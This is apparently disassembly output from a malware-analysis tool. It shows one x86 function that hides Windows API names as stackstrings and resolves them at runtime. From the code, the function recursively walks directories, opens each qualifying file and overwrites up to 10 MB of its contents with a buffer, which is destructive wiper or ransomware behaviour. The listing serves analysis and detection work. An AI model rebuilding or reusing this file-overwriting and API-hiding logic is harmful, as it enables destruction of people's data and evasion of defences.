Function at 0x4022a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe5c
mov dword [ebp - 0xe20], 0xffffffff
mov byte [ebp - 0xe1c], 0x2a
mov byte [ebp - 0xe1b], 0
mov byte [ebp - 0xe40], 0x5c
mov byte [ebp - 0xe3f], 0
lea eax, [ebp - 0xe40]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0xcc8]
push edx
call fcn.00402a80
add esp, 0xc
lea eax, [ebp - 0xe1c]
push eax
lea ecx, [ebp - 0xcc8]
push ecx
lea edx, [ebp - 0x898]
push edx
call fcn.00402a80
add esp, 0xc
mov dword [ebp - 0x8b4], 0
mov byte [ebp - 0x46c], 0x46
mov byte [ebp - 0x46b], 0x69
mov byte [ebp - 0x46a], 0x6e
mov byte [ebp - 0x469], 0x64
mov byte [ebp - 0x468], 0x46
mov byte [ebp - 0x467], 0x69
mov byte [ebp - 0x466], 0x72
mov byte [ebp - 0x465], 0x73
mov byte [ebp - 0x464], 0x74
mov byte [ebp - 0x463], 0x46
mov byte [ebp - 0x462], 0x69
mov byte [ebp - 0x461], 0x6c
mov byte [ebp - 0x460], 0x65
mov byte [ebp - 0x45f], 0x41
mov byte [ebp - 0x45e], 0
mov byte [ebp - 0x44c], 0x6b
mov byte [ebp - 0x44b], 0
mov byte [ebp - 0x44a], 0x65
mov byte [ebp - 0x449], 0
mov byte [ebp - 0x448], 0x72
mov byte [ebp - 0x447], 0
mov byte [ebp - 0x446], 0x6e
mov byte [ebp - 0x445], 0
mov byte [ebp - 0x444], 0x65
mov byte [ebp - 0x443], 0
mov byte [ebp - 0x442], 0x6c
mov byte [ebp - 0x441], 0
mov byte [ebp - 0x440], 0x33
mov byte [ebp - 0x43f], 0
mov byte [ebp - 0x43e], 0x32
mov byte [ebp - 0x43d], 0
mov byte [ebp - 0x43c], 0x2e
mov byte [ebp - 0x43b], 0
mov byte [ebp - 0x43a], 0x64
mov byte [ebp - 0x439], 0
mov byte [ebp - 0x438], 0x6c
mov byte [ebp - 0x437], 0
mov byte [ebp - 0x436], 0x6c
mov byte [ebp - 0x435], 0
mov byte [ebp - 0x434], 0
mov byte [ebp - 0x433], 0
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x44c]
push ecx
call fcn.00401530
add esp, 8
mov dword [ebp - 0x8b4], eax
mov dword [ebp - 0xe4c], 0
mov byte [ebp - 0x8b0], 0x46
mov byte [ebp - 0x8af], 0x69
mov byte [ebp - 0x8ae], 0x6e
mov byte [ebp - 0x8ad], 0x64
mov byte [ebp - 0x8ac], 0x4e
mov byte [ebp - 0x8ab], 0x65
mov byte [ebp - 0x8aa], 0x78
mov byte [ebp - 0x8a9], 0x74
mov byte [ebp - 0x8a8], 0x46
mov byte [ebp - 0x8a7], 0x69
mov byte [ebp - 0x8a6], 0x6c
mov byte [ebp - 0x8a5], 0x65
mov byte [ebp - 0x8a4], 0x41
mov byte [ebp - 0x8a3], 0
lea edx, [ebp - 0x8b0]
push edx
lea eax, [ebp - 0x44c]
push eax
call fcn.00401530
add esp, 8
mov dword [ebp - 0xe4c], eax
mov dword [ebp - 0x8a0], 0
mov byte [ebp - 0xe3c], 0x43
mov byte [ebp - 0xe3b], 0x72
mov byte [ebp - 0xe3a], 0x65
mov byte [ebp - 0xe39], 0x61
mov byte [ebp - 0xe38], 0x74
mov byte [ebp - 0xe37], 0x65
mov byte [ebp - 0xe36], 0x46
mov byte [ebp - 0xe35], 0x69
mov byte [ebp - 0xe34], 0x6c
mov byte [ebp - 0xe33], 0x65
mov byte [ebp - 0xe32], 0x41
mov byte [ebp - 0xe31], 0
lea ecx, [ebp - 0xe3c]
push ecx
lea edx, [ebp - 0x44c]
push edx
call fcn.00401530
add esp, 8
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], 0
mov byte [ebp - 0xe18], 0x47
mov byte [ebp - 0xe17], 0x65
mov byte [ebp - 0xe16], 0x74
mov byte [ebp - 0xe15], 0x46
mov byte [ebp - 0xe14], 0x69
mov byte [ebp - 0xe13], 0x6c
mov byte [ebp - 0xe12], 0x65
mov byte [ebp - 0xe11], 0x53
mov byte [ebp - 0xe10], 0x69
mov byte [ebp - 0xe0f], 0x7a
mov byte [ebp - 0xe0e], 0x65
mov byte [ebp - 0xe0d], 0
lea eax, [ebp - 0xe18]
push eax
lea ecx, [ebp - 0x44c]
push ecx
call fcn.00401530
add esp, 8
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0xe48], 0
mov byte [ebp - 0x45c], 0x4c
mov byte [ebp - 0x45b], 0x6f
mov byte [ebp - 0x45a], 0x63
mov byte [ebp - 0x459], 0x61
mov byte [ebp - 0x458], 0x6c
mov byte [ebp - 0x457], 0x41
mov byte [ebp - 0x456], 0x6c
mov byte [ebp - 0x455], 0x6c
mov byte [ebp - 0x454], 0x6f
mov byte [ebp - 0x453], 0x63
mov byte [ebp - 0x452], 0
lea edx, [ebp - 0x45c]
push edx
lea eax, [ebp - 0x44c]
push eax
call fcn.00401530
add esp, 8
mov dword [ebp - 0xe48], eax
mov dword [ebp - 0xe30], 0
mov byte [ebp - 0x488], 0x53
mov byte [ebp - 0x487], 0x65
mov byte [ebp - 0x486], 0x74
mov byte [ebp - 0x485], 0x46
mov byte [ebp - 0x484], 0x69
mov byte [ebp - 0x483], 0x6c
mov byte [ebp - 0x482], 0x65
mov byte [ebp - 0x481], 0x50
mov byte [ebp - 0x480], 0x6f
mov byte [ebp - 0x47f], 0x69
mov byte [ebp - 0x47e], 0x6e
mov byte [ebp - 0x47d], 0x74
mov byte [ebp - 0x47c], 0x65
mov byte [ebp - 0x47b], 0x72
mov byte [ebp - 0x47a], 0
lea ecx, [ebp - 0x488]
push ecx
lea edx, [ebp - 0x44c]
push edx
call fcn.00401530
add esp, 8
mov dword [ebp - 0xe30], eax
mov dword [ebp - 0x450], 0
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x44c]
push ecx
call fcn.00401530
add esp, 8
mov dword [ebp - 0x450], eax
mov dword [ebp - 0xe0c], 0
mov byte [ebp - 0x478], 0x4c
mov byte [ebp - 0x477], 0x6f
mov byte [ebp - 0x476], 0x63
mov byte [ebp - 0x475], 0x61
mov byte [ebp - 0x474], 0x6c
mov byte [ebp - 0x473], 0x46
mov byte [ebp - 0x472], 0x72
mov byte [ebp - 0x471], 0x65
mov byte [ebp - 0x470], 0x65
mov byte [ebp - 0x46f], 0
lea edx, [ebp - 0x478]
push edx
lea eax, [ebp - 0x44c]
push eax
call fcn.00401530
add esp, 8
mov dword [ebp - 0xe0c], eax
mov dword [ebp - 4], 0
mov byte [ebp - 0xe2c], 0x43
mov byte [ebp - 0xe2b], 0x6c
mov byte [ebp - 0xe2a], 0x6f
mov byte [ebp - 0xe29], 0x73
mov byte [ebp - 0xe28], 0x65
mov byte [ebp - 0xe27], 0x48
mov byte [ebp - 0xe26], 0x61
mov byte [ebp - 0xe25], 0x6e
mov byte [ebp - 0xe24], 0x64
mov byte [ebp - 0xe23], 0x6c
mov byte [ebp - 0xe22], 0x65
mov byte [ebp - 0xe21], 0
lea ecx, [ebp - 0xe2c]
push ecx
lea edx, [ebp - 0x44c]
push edx
call fcn.00401530
add esp, 8
mov dword [ebp - 4], eax
mov dword [ebp - 0xe44], 0
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x43
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x44c]
push ecx
call fcn.00401530
add esp, 8
mov dword [ebp - 0xe44], eax
lea edx, [ebp - 0xe08]
push edx
lea eax, [ebp - 0x898]
push eax
call dword [ebp - 0x8b4]
mov dword [ebp - 0xe20], eax
cmp dword [ebp - 0xe20], 0xffffffff
jne 0x402867
jmp 0x402a7a
mov ecx, dword [ebp - 0xe08]
and ecx, 0x10
je 0x402913
movsx edx, byte [ebp - 0xddc]
cmp edx, 0x2e
jne 0x40289e
movsx eax, byte [ebp - 0xddb]
test eax, eax
je 0x402899
movsx ecx, byte [ebp - 0xddb]
cmp ecx, 0x2e
jne 0x40289e
jmp 0x402a51
mov edx, dword [ebp - 0xe08]
and edx, 2
jne 0x4028b4
mov eax, dword [ebp - 0xe08]
and eax, 4
je 0x4028b9
jmp 0x402a51
lea ecx, [ebp - 0xe40]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0xcc8]
push eax
call fcn.00402a80
add esp, 0xc
lea ecx, [ebp - 0xddc]
push ecx
lea edx, [ebp - 0xcc8]
push edx
lea eax, [ebp - 0x430]
push eax
call fcn.00402a80
add esp, 0xc
lea ecx, [ebp - 0x430]
push ecx
call fcn.00401a10
add esp, 4
lea edx, [ebp - 0x430]
push edx
call fcn.004022a0
add esp, 4
jmp 0x402a51
lea eax, [ebp - 0xe40]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0xcc8]
push edx
call fcn.00402a80
add esp, 0xc
lea eax, [ebp - 0xddc]
push eax
lea ecx, [ebp - 0xcc8]
push ecx
lea edx, [ebp - 0x430]
push edx
call fcn.00402a80
add esp, 0xc
lea eax, [ebp - 0x430]
push eax
call fcn.00401a10
add esp, 4
test eax, eax
jne 0x402962
jmp 0x402a51
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x430]
push ecx
call dword [ebp - 0x8a0]
mov dword [ebp - 0xe54], eax
cmp dword [ebp - 0xe54], 0xffffffff
jne 0x402995
jmp 0x402a51
push 0
mov edx, dword [ebp - 0xe54]
push edx
call dword [ebp - 0x89c]
mov dword [ebp - 0xe5c], eax
cmp dword [ebp - 0xe5c], 0
jae 0x4029b8
jmp 0x402a51
cmp dword [ebp - 0xe5c], 0xa00000
jbe 0x4029ce
mov dword [ebp - 0xe5c], 0xa00000
mov dword [ebp - 0xe58], 0
mov eax, dword [ebp - 0xe5c]
push eax
push 0x40
call dword [ebp - 0xe48]
mov dword [ebp - 0xe50], eax
mov ecx, dword [ebp - 0xe5c]
push ecx
mov edx, dword [ebp - 0xe50]
push edx
call fcn.00402b10
add esp, 8
push 0
push 0
push 0
mov eax, dword [ebp - 0xe54]
push eax
call dword [ebp - 0xe30]
push 0
lea ecx, [ebp - 0xe58]
push ecx
mov edx, dword [ebp - 0xe5c]
push edx
mov eax, dword [ebp - 0xe50]
push eax
mov ecx, dword [ebp - 0xe54]
push ecx
call dword [ebp - 0x450]
mov edx, dword [ebp - 0xe50]
push edx
call dword [ebp - 0xe0c]
mov eax, dword [ebp - 0xe54]
push eax
call dword [ebp - 4]
lea ecx, [ebp - 0xe08]
push ecx
mov edx, dword [ebp - 0xe20]
push edx
call dword [ebp - 0xe4c]
test eax, eax
jne 0x402867
mov eax, dword [ebp - 0xe20]
push eax
call dword [ebp - 0xe44]
mov esp, ebp
pop ebp
ret